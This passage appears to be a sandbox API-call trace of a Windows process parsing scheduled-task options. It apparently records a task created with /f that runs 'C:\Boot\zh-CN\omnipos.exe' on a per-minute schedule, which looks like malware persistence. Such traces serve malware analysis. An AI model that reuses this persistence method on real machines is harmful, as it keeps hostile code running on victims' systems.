(lpString="|m|") returned 3 [0089.937] lstrlenW (lpString="|tr|") returned 4 [0089.937] SetLastError (dwErrCode=0x490) [0089.937] lstrlenW (lpString="i") returned 1 [0089.937] lstrlenW (lpString="i") returned 1 [0089.937] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.937] lstrlenW (lpString="tr") returned 2 [0089.937] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.937] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|i|") returned 3 [0089.937] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.937] lstrlenW (lpString="|i|") returned 3 [0089.937] lstrlenW (lpString="|tr|") returned 4 [0089.937] SetLastError (dwErrCode=0x490) [0089.937] lstrlenW (lpString="tn") returned 2 [0089.937] lstrlenW (lpString="tn") returned 2 [0089.937] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.937] lstrlenW (lpString="tr") returned 2 [0089.937] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.937] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.937] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.937] lstrlenW (lpString="|tn|") returned 4 [0089.937] lstrlenW (lpString="|tr|") returned 4 [0089.937] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0089.937] SetLastError (dwErrCode=0x490) [0089.937] lstrlenW (lpString="tr") returned 2 [0089.937] lstrlenW (lpString="tr") returned 2 [0089.937] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.938] lstrlenW (lpString="tr") returned 2 [0089.938] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.938] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.938] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.938] lstrlenW (lpString="|tr|") returned 4 [0089.938] lstrlenW (lpString="|tr|") returned 4 [0089.938] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0089.938] SetLastError (dwErrCode=0x0) [0089.938] SetLastError (dwErrCode=0x0) [0089.938] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.938] lstrlenW (lpString="-/") returned 2 [0089.938] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0089.938] SetLastError (dwErrCode=0x490) [0089.938] SetLastError (dwErrCode=0x490) [0089.938] SetLastError (dwErrCode=0x0) [0089.938] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.938] StrChrIW (lpStart="'C:\\Boot\\zh-CN\\omnipos.exe'", wMatch=0x3a) returned=":\\Boot\\zh-CN\\omnipos.exe'" [0089.938] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.938] _memicmp (_Buf1=0x36d330, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.938] _memicmp (_Buf1=0x36e4e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.938] SetLastError (dwErrCode=0x7a) [0089.938] SetLastError (dwErrCode=0x0) [0089.938] SetLastError (dwErrCode=0x0) [0089.938] lstrlenW (lpString="'C") returned 2 [0089.939] lstrlenW (lpString="-/") returned 2 [0089.939] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0089.939] SetLastError (dwErrCode=0x490) [0089.939] SetLastError (dwErrCode=0x490) [0089.939] SetLastError (dwErrCode=0x0) [0089.939] _memicmp (_Buf1=0x36e540, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.939] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.939] GetProcessHeap () returned 0x350000 [0089.939] HeapValidate (hHeap=0x350000, dwFlags=0x0, lpMem=0x36e560) returned 1 [0089.939] GetProcessHeap () returned 0x350000 [0089.939] RtlReAllocateHeap (Heap=0x350000, Flags=0xc, Ptr=0x36e560, Size=0x38) returned 0x367bf0 [0089.939] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.939] lstrlenW (lpString=" \x09") returned 2 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x7a) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0089.939] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0089.940] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0089.940] GetLastError () returned 0x0 [0089.940] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.940] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0089.940] SetLastError (dwErrCode=0x0) [0089.940] SetLastError (dwErrCode=0x0) [0089.940] lstrlenW (lpString="/f") returned 2 [0089.940] lstrlenW (lpString="-/") returned 2 [0089.940] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.940] lstrlenW (lpString="create") returned 6 [0089.940] lstrlenW (lpString="create") returned 6 [0089.940] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.940] lstrlenW (lpString="f") returned 1 [0089.940] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.941] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|create|") returned 8 [0089.941] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.941] lstrlenW (lpString="|create|") returned 8 [0089.941] lstrlenW (lpString="|f|") returned 3 [0089.941] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0089.941] SetLastError (dwErrCode=0x490) [0089.941] lstrlenW (lpString="?") returned 1 [0089.941] lstrlenW (lpString="?") returned 1 [0089.941] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.941] lstrlenW (lpString="f") returned 1 [0089.941] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.941] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|?|") returned 3 [0089.941] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.941] lstrlenW (lpString="|?|") returned 3 [0089.941] lstrlenW (lpString="|f|") returned 3 [0089.941] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0089.941] SetLastError (dwErrCode=0x490) [0089.941] lstrlenW (lpString="s") returned 1 [0089.941] lstrlenW (lpString="s") returned 1 [0089.941] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.941] lstrlenW (lpString="f") returned 1 [0089.941] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.941] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|s|") returned 3 [0089.942] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.942] lstrlenW (lpString="|s|") returned 3 [0089.942] lstrlenW (lpString="|f|") returned 3 [0089.942] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0089.942] SetLastError (dwErrCode=0x490) [0089.942] lstrlenW (lpString="u") returned 1 [0089.942] lstrlenW (lpString="u") returned 1 [0089.942] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.942] lstrlenW (lpString="f") returned 1 [0089.942] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.942] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|u|") returned 3 [0089.942] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.942] lstrlenW (lpString="|u|") returned 3 [0089.942] lstrlenW (lpString="|f|") returned 3 [0089.942] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0089.942] SetLastError (dwErrCode=0x490) [0089.942] lstrlenW (lpString="p") returned 1 [0089.942] lstrlenW (lpString="p") returned 1 [0089.942] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.942] lstrlenW (lpString="f") returned 1 [0089.942] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.943] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|p|") returned 3 [0089.943] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.943] lstrlenW (lpString="|p|") returned 3 [0089.943] lstrlenW (lpString="|f|") returned 3 [0089.943] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0089.943] SetLastError (dwErrCode=0x490) [0089.943] lstrlenW (lpString="ru") returned 2 [0089.943] lstrlenW (lpString="ru") returned 2 [0089.943] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.943] lstrlenW (lpString="f") returned 1 [0089.943] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.943] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ru|") returned 4 [0089.943] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.943] lstrlenW (lpString="|ru|") returned 4 [0089.943] lstrlenW (lpString="|f|") returned 3 [0089.943] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0089.943] SetLastError (dwErrCode=0x490) [0089.943] lstrlenW (lpString="rp") returned 2 [0089.943] lstrlenW (lpString="rp") returned 2 [0089.943] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.943] lstrlenW (lpString="f") returned 1 [0089.943] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.943] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|rp|") returned 4 [0089.943] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.943] lstrlenW (lpString="|rp|") returned 4 [0089.944] lstrlenW (lpString="|f|") returned 3 [0089.944] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0089.944] SetLastError (dwErrCode=0x490) [0089.944] lstrlenW (lpString="sc") returned 2 [0089.944] lstrlenW (lpString="sc") returned 2 [0089.944] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.944] lstrlenW (lpString="f") returned 1 [0089.944] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.944] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sc|") returned 4 [0089.944] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.944] lstrlenW (lpString="|sc|") returned 4 [0089.944] lstrlenW (lpString="|f|") returned 3 [0089.944] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0089.944] SetLastError (dwErrCode=0x490) [0089.944] lstrlenW (lpString="mo") returned 2 [0089.944] lstrlenW (lpString="mo") returned 2 [0089.944] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.944] lstrlenW (lpString="f") returned 1 [0089.944] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.944] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|mo|") returned 4 [0089.944] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.944] lstrlenW (lpString="|mo|") returned 4 [0089.944] lstrlenW (lpString="|f|") returned 3 [0089.944] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0089.944] SetLastError (dwErrCode=0x490) [0089.945] lstrlenW (lpString="d") returned 1 [0089.945] lstrlenW (lpString="d") returned 1 [0089.945] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.945] lstrlenW (lpString="f") returned 1 [0089.945] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.945] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|d|") returned 3 [0089.945] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.945] lstrlenW (lpString="|d|") returned 3 [0089.945] lstrlenW (lpString="|f|") returned 3 [0089.945] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0089.945] SetLastError (dwErrCode=0x490) [0089.945] lstrlenW (lpString="m") returned 1 [0089.945] lstrlenW (lpString="m") returned 1 [0089.945] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.945] lstrlenW (lpString="f") returned 1 [0089.945] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.945] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|m|") returned 3 [0089.945] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.945] lstrlenW (lpString="|m|") returned 3 [0089.945] lstrlenW (lpString="|f|") returned 3 [0089.945] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0089.945] SetLastError (dwErrCode=0x490) [0089.945] lstrlenW (lpString="i") returned 1 [0089.946] lstrlenW (lpString="i") returned 1 [0089.946] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.946] lstrlenW (lpString="f") returned 1 [0089.946] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.946] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|i|") returned 3 [0089.946] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.946] lstrlenW (lpString="|i|") returned 3 [0089.946] lstrlenW (lpString="|f|") returned 3 [0089.946] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0089.946] SetLastError (dwErrCode=0x490) [0089.946] lstrlenW (lpString="tn") returned 2 [0089.946] lstrlenW (lpString="tn") returned 2 [0089.946] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.946] lstrlenW (lpString="f") returned 1 [0089.946] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.946] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tn|") returned 4 [0089.946] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.946] lstrlenW (lpString="|tn|") returned 4 [0089.946] lstrlenW (lpString="|f|") returned 3 [0089.946] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0089.946] SetLastError (dwErrCode=0x490) [0089.946] lstrlenW (lpString="tr") returned 2 [0089.946] lstrlenW (lpString="tr") returned 2 [0089.946] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.947] lstrlenW (lpString="f") returned 1 [0089.947] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.947] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|tr|") returned 4 [0089.947] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.947] lstrlenW (lpString="|tr|") returned 4 [0089.947] lstrlenW (lpString="|f|") returned 3 [0089.947] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0089.947] SetLastError (dwErrCode=0x490) [0089.947] lstrlenW (lpString="st") returned 2 [0089.947] lstrlenW (lpString="st") returned 2 [0089.947] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.947] lstrlenW (lpString="f") returned 1 [0089.947] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.947] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|st|") returned 4 [0089.947] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.947] lstrlenW (lpString="|st|") returned 4 [0089.947] lstrlenW (lpString="|f|") returned 3 [0089.947] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0089.947] SetLastError (dwErrCode=0x490) [0089.947] lstrlenW (lpString="sd") returned 2 [0089.947] lstrlenW (lpString="sd") returned 2 [0089.947] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.947] lstrlenW (lpString="f") returned 1 [0089.947] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.948] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|sd|") returned 4 [0089.948] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.948] lstrlenW (lpString="|sd|") returned 4 [0089.948] lstrlenW (lpString="|f|") returned 3 [0089.948] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0089.948] SetLastError (dwErrCode=0x490) [0089.948] lstrlenW (lpString="ed") returned 2 [0089.948] lstrlenW (lpString="ed") returned 2 [0089.948] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.948] lstrlenW (lpString="f") returned 1 [0089.948] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.948] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ed|") returned 4 [0089.948] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.948] lstrlenW (lpString="|ed|") returned 4 [0089.948] lstrlenW (lpString="|f|") returned 3 [0089.948] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0089.948] SetLastError (dwErrCode=0x490) [0089.948] lstrlenW (lpString="it") returned 2 [0089.948] lstrlenW (lpString="it") returned 2 [0089.948] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.948] lstrlenW (lpString="f") returned 1 [0089.948] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.948] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|it|") returned 4 [0089.949] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.949] lstrlenW (lpString="|it|") returned 4 [0089.949] lstrlenW (lpString="|f|") returned 3 [0089.949] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0089.949] SetLastError (dwErrCode=0x490) [0089.949] lstrlenW (lpString="et") returned 2 [0089.949] lstrlenW (lpString="et") returned 2 [0089.949] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.949] lstrlenW (lpString="f") returned 1 [0089.949] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.949] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|et|") returned 4 [0089.949] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.949] lstrlenW (lpString="|et|") returned 4 [0089.949] lstrlenW (lpString="|f|") returned 3 [0089.949] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0089.949] SetLastError (dwErrCode=0x490) [0089.949] lstrlenW (lpString="k") returned 1 [0089.949] lstrlenW (lpString="k") returned 1 [0089.949] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.949] lstrlenW (lpString="f") returned 1 [0089.949] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.949] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|k|") returned 3 [0089.950] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.950] lstrlenW (lpString="|k|") returned 3 [0089.950] lstrlenW (lpString="|f|") returned 3 [0089.950] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0089.950] SetLastError (dwErrCode=0x490) [0089.950] lstrlenW (lpString="du") returned 2 [0089.950] lstrlenW (lpString="du") returned 2 [0089.950] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.950] lstrlenW (lpString="f") returned 1 [0089.950] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.950] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|du|") returned 4 [0089.950] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.950] lstrlenW (lpString="|du|") returned 4 [0089.950] lstrlenW (lpString="|f|") returned 3 [0089.950] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0089.950] SetLastError (dwErrCode=0x490) [0089.950] lstrlenW (lpString="ri") returned 2 [0089.950] lstrlenW (lpString="ri") returned 2 [0089.950] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.950] lstrlenW (lpString="f") returned 1 [0089.950] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.950] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|ri|") returned 4 [0089.950] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.951] lstrlenW (lpString="|ri|") returned 4 [0089.951] lstrlenW (lpString="|f|") returned 3 [0089.951] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0089.951] SetLastError (dwErrCode=0x490) [0089.951] lstrlenW (lpString="z") returned 1 [0089.951] lstrlenW (lpString="z") returned 1 [0089.951] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.951] lstrlenW (lpString="f") returned 1 [0089.951] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.951] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|z|") returned 3 [0089.951] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.951] lstrlenW (lpString="|z|") returned 3 [0089.951] lstrlenW (lpString="|f|") returned 3 [0089.951] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0089.951] SetLastError (dwErrCode=0x490) [0089.951] lstrlenW (lpString="f") returned 1 [0089.951] lstrlenW (lpString="f") returned 1 [0089.951] _memicmp (_Buf1=0x36d1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.951] lstrlenW (lpString="f") returned 1 [0089.951] _memicmp (_Buf1=0x36d200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.951] _vsnwprintf (in: _Buffer=0x36d240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.951] _vsnwprintf (in: _Buffer=0x36d220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c868 | out: _Buffer="|f|") returned 3 [0089.951] lstrlenW (lpString="|f|") returned 3 [0089.951] lstrlenW (lpString="|f|") returned 3 [0089.952] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0089.952] SetLastError (dwErrCode=0x0) [0089.952] SetLastError (dwErrCode=0x0) [0089.952] GetProcessHeap () returned 0x350000 [0089.952] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0x20) returned 0x36dd10 [0089.952] _memicmp (_Buf1=0x36d0a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.952] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x36e2a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0089.952] lstrlenW (lpString="MINUTE") returned 6 [0089.952] GetProcessHeap () returned 0x350000 [0089.952] RtlAllocateHeap (HeapHandle=0x350000, Flags=0xc, Size=0xe) returned 0x36e560 [0089.952] GetThreadLocale () returned 0x409 [0089.952] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0089.952] SetLastError (dwErrCode=0x0) [0089.952] GetProcessHeap 